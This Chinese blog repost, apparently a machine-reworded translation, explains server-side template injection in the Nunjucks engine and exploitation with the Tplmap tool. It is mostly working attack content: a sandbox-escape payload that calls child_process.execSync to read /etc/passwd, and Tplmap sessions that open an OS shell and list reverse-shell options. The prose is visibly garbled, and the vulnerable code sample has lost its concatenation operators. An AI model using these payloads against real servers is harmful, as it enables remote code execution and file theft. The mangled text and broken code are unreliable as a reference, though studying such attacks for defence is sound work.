使用Tplmap对Nunjucks模板引擎进行服务端的模板注入

使用Tplmap对Nunjucks模板引擎进行服务端的模板注入,第1张

使用Tplmap对Nunjucks模板引擎进行服务端的模板注入

详细介绍

本文描述了一种沙箱打了就跑技术,这是一种用于启动服务器端模板注入攻击(SSTI)的特殊工具。Tplmap已经在Nunjucks模板引擎上完成了这项技术,并成功地使计算机 *** 作系统执行了远程连接命令。谢谢Andrea在整个过程中帮忙分析一件事。

Tplmap

Tplmap(TemplateMapper)是自动化技术的专用工具,可以检查和利用服务器端模板注入漏洞(SSTI)。它可以帮助SSTI利用应用软件让步,让计算机 *** 作系统执行远程连接命令。

安全研究和网站渗透测试人员可以应用这样的专用工具来检查和利用漏洞,科学地研究模板注入的缺点。

Tplmap模板的功能可以根据软件进行扩展。以下是一些摆脱沙盒的方法,来自JamesKett的科学研究:服务器端模板注入:现代web应用的RCE。

具有高级功能的Tplmap可以在盲的情况下检查并完成指令的执行。

示例

$ ./tplmap.py -u 'http://www.target.com/app?id=*'  [] Tplmap 0.1     Automatic Server-Side Template Injection Detection and Exploitation Tool [] Found placeholder in GET parameter 'inj' [] Smarty plugin is testing rendering with tag '{*}' [] Smarty plugin is testing blind injection [] Mako plugin is testing rendering with tag '${*}' ... [] Freemarker plugin is testing blind injection [] Velocity plugin is testing rendering with tag '#set($c=*)n${c}n' [] Jade plugin is testing rendering with tag 'n= *n' [] Jade plugin has confirmed injection with tag 'n= *n' [] Tplmap identified the following injection point:   Engine: Jade   Injection: n= *n   Context: text   OS: darwin   Technique: render   Capabilities:    Code evaluation: yes, javascript code    Shell command execution: yes    File write: yes    File read: yes    Bind and reverse shell: yes [] Rerun tplmap providing one of the following options:    --os-shell or --os-cmd to execute shell commands via the injection    --upload LOCAL REMOTE to upload files to the server    --download REMOTE LOCAL to download remote files    --bind-shell PORT to bind a shell on a port and connect to it    --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT $ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell [] Run commands on the operating system. linux $ whoami www-data linux $ ls -al /etc/passwd -rw-r--r--  1 root  wheel  5925 16 Sep  2015 /etc/passwd linux $

努恩朱克斯

Nunjucks是一个模板引擎,用于在Express、Express等Node.jsweb框架上开发设计web应用流程。以下Connect应用的亮点来自一个网页(http://localhost:15004/page?Name=John),其中存在服务器端模板注入漏洞。

app.use('/page', function(req, res){   if(req.url) {     var url_parts = url.parse(req.url, true);     var name = url_parts.query.name;     // Include user-input in the template     var template = 'Hello '  name  '!';      rendered = nunjucks.renderString(       str = template     );     res.end(rendered);   } });


客户可控性名称GET的主参数串接在模板字符串数组中,而不是作为上下文的主参数传递,这就引入了SSTI漏洞。根据注入 *** 作过程,可以检测出这些具有漏洞的主要参数。

$ curl -g 'http://localhost:15004/page?name={{7*7}}' Hello 49


这种漏洞不容易伤害到Nunjucks本身,但是当客户的打字立刻串接到一个模板上,漏洞就会被导入。

沙盒肇事逃逸

像许多其他模板引擎一样,Nunjucks模板编码在沙盒环境中运行。所有的全局目标都是从这种自然环境中分离出来的,为了更好的定义可以用来摆脱沙箱的曲面,实现任意的JavaScript编码。可以使用Tplmap的-tpl-shell选项来检查沙盒游戏面。

从模板内部启用全局目标控制面板将导致未定义的异常。

{{console.log(1)}} // Template render error: (unknown path) //  Error: Unable to call `console["log"]`, which is undefined or falsey


这里有三个有用的函数:range、cycler和joiner,只有它们可以在模板中启用。

每个函数的constructor属性是Functionconstructor,可以从主体字符串数组的开头创建一个新的函数。

{{range.constructor("console.log(123)")()}} // 123


上面的代码已经过适当的评估。但是,require()不能用于在不引起异常的情况下键入标准控制模块,因此在浏览计算机 *** 作系统时存在问题。

{{range.constructor("return require('fs')")()}} //Template render error: (unknown path) //  ReferenceError: require is not defined 应用global.process.mainModule.require能够绕开require 管束。在下面的编码精彩片段中, fs控制模块被导进并輸出了。 {{range.constructor("return global.process.mainModule.require('fs')")()}} [object Object]


最后,通过child_process.execSync()的方式,可以根据tail/etc/passwd的实现进行浏览最底层计算机 *** 作系统的利用。

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh

TPLMAP集成

这种沙箱打了就跑的技术已经集成到TplmapNunjucks软件中,可以用完全自动化的方法向总体目标让步。

$ ./tplmap.py -u http://localhost:15004/page?name=* --engine Nunjucks --os-shell [] Tplmap 0.1     Automatic Server-Side Template Injection Detection and Exploitation Tool [] Found placeholder in GET parameter 'name' [] Nunjucks plugin is testing rendering with tag '{{*}}' [] Nunjucks plugin has confirmed injection with tag '{{*}}' [] Tplmap identified the following injection point:   Engine: Nunjucks   Injection: {{*}}   Context: text   OS: linux   Technique: render   Capabilities:    Code evaluation: yes, javascript code    Shell command execution: yes    File write: yes    File read: yes    Bind and reverse shell: yes [] Run commands on the operating system linux $ tail /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh


新模板引擎的Tplmap可以根据编写软件轻松扩展。所有的内容,包括编码和新模板引擎上的沙盒打了就跑的想法,都大加赞赏。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/771767.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-02
下一篇 2022-05-02

发表评论

登录后才能评论

评论列表(0条)

保存